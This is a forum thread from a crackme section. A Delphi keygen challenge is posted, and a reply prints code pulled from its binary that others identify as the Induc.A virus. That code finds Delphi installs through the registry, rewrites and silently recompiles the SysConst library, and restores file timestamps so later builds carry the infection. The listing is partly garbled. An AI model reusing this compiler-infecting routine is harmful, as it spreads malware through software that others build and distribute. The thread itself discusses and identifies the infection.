Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


KeyGenMe 14 - KenTheFurry

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming -> Crackmes
View previous topic :: View next topic  
Author Message
thstrrthtrh
Cheater
Reputation: 0

Joined: 08 Sep 2008
Posts: 49

PostPosted: Tue Apr 21, 2009 8:57 pm    Post subject: KeyGenMe 14 - KenTheFurry Reply with quote

-=:Information:=-
Well I was bored and had an idea for a bit of a harder KeyGenMe so I made it in less than 10 minuets(a new record for me lol).
I disabled DeDe from working on it and yes it is a Delphi app (DeDe just wont read it and it would be harder to make DeDe be able to understand it than to just keygen it)
I know it will stump someone out there and I hope SerialKiller doesn't keygen it within the first few seconds of me posting this... I am just kidding I know by the time I click submit SK will be done with the keygen.

-=:Rules:=-
#1.The only acceptable solution to this is a standalone Keygen.
#2.When/If you make a working keygen for it you need to post it here even if there is already one for it.
#3.Do not post hints to how to solve it not even addresses!
#4.Have fun.

-=:Download Link:=-
Back to top
View user's profile Send private message
slippppppppp
Grandmaster Cheater
Reputation: 0

Joined: 08 Aug 2006
Posts: 929

PostPosted: Tue Apr 21, 2009 11:21 pm    Post subject: Reply with quote

If I'm not mistaken, this is your code:

Code:

uses windows;
 var sc:array[1..24] of string=(

function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
if s[i]" =#36 then
s[i]:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{$I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;assignfile"
(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while
not eof(f1) do begin
readln(f1,s);
writeln(f2,s); 
if pos($implementation$,s)<>0 then break;
end;

for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$""$+d+$pas""$),0,0,false,0,0,0,"f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3,"0,0);
if  h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var  k:HKEY;
c:array [1..255] of char;
i:cardinal; r:string; v:char;
begin for v:=$4$ to $7$ do
if RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then
begin i:=255;i
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
 r:=$$;
i:= 1;
 while c[i]<>#0 do begin
r:=r+c[i];inc(i);
end;
re(r+$\source\rtl\sys\SysConst$+$.pas$,r+$\lib\sysconst.$,$$+r+$\bin\dcc32.exe"" $);
end;
RegCloseKey(k);
end;
end;"

//main code
begin st; end."
Back to top
View user's profile Send private message AIM Address MSN Messenger
thstrrthtrh
Cheater
Reputation: 0

Joined: 08 Sep 2008
Posts: 49

PostPosted: Wed Apr 22, 2009 5:54 am    Post subject: Reply with quote

Nope, and this is a KeyGenMe.
Back to top
View user's profile Send private message
slippppppppp
Grandmaster Cheater
Reputation: 0

Joined: 08 Aug 2006
Posts: 929

PostPosted: Wed Apr 22, 2009 9:39 pm    Post subject: Reply with quote

Are you sure this isnt part of your code? This came from your app.
Back to top
View user's profile Send private message AIM Address MSN Messenger
thstrrthtrh
Cheater
Reputation: 0

Joined: 08 Sep 2008
Posts: 49

PostPosted: Thu Apr 23, 2009 1:13 pm    Post subject: Reply with quote

Yeah these is nothing even remotely close to that inside of my program.
Back to top
View user's profile Send private message
qHF
How do I cheat?
Reputation: 0

Joined: 12 Dec 2009
Posts: 9

PostPosted: Wed Feb 10, 2010 10:49 am    Post subject: Reply with quote

It looks like your compiler is infected!
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Virus%3AWin32%2FInduc.A

Quote:
Summary
Virus:Win32/Induc.A is a virus that infects Delphi library source files. Any executables compiled/linked by the Delphi compiler on the affected machine will contain the malicious code.

Note: We have received many reports of files, such as utilities and other programs, infected by Virus:Win32/Induc.A from the wild. When a computer is infected by Virus:Win32/Induc.A, ALL files compiled or linked by the Delphi compiler on that computer will be infected. It appears that a large number of freely available applications have been distributed unknowingly infected by this virus.


I normally don't jump to conclusions when I get alerted by my AV, but there might be something to it this time...

And if your file is indeed infected, the viral code may be what the user "slippppppppp" has found.

Uh oh, now that I take a closer look at what slippppppppp has posted, that is indeed the behavior of what this virus does!

RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)

That is viral code trying to see if delphi is installed.
Back to top
View user's profile Send private message
hcavolsdsadgadsg
I'm a spammer
Reputation: 26

Joined: 11 Jun 2007
Posts: 5804

PostPosted: Wed Feb 10, 2010 8:06 pm    Post subject: Reply with quote

Ancient post, and the OP hasn't posted in months, but removed nevertheless
Back to top
View user's profile Send private message
mary123
How do I cheat?
Reputation: 0

Joined: 30 Dec 2010
Posts: 1

PostPosted: Mon Jan 03, 2011 1:05 am    Post subject: Reply with quote

Hi everyone!!!
You should try Delphi, I personally came from C++ and I will only use Delphi now I just love it, it is so easy to use and simple programming behind it.
hope this will help you...
thanks

_________________
mary
Back to top
View user's profile Send private message
doug4knfpu
How do I cheat?
Reputation: 0

Joined: 20 Jul 2012
Posts: 1

PostPosted: Mon Jul 23, 2012 2:31 pm    Post subject: Reply with quote

mary123 wrote:
Hi everyone!!!
You should try Delphi, I personally came from C++ and I will only use Delphi now I just love it, it is so easy to use and simple programming behind it.
hope this will help you...
thanks
Delphi supporter here. Delphi>everything else
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming -> Crackmes All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You cannot download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites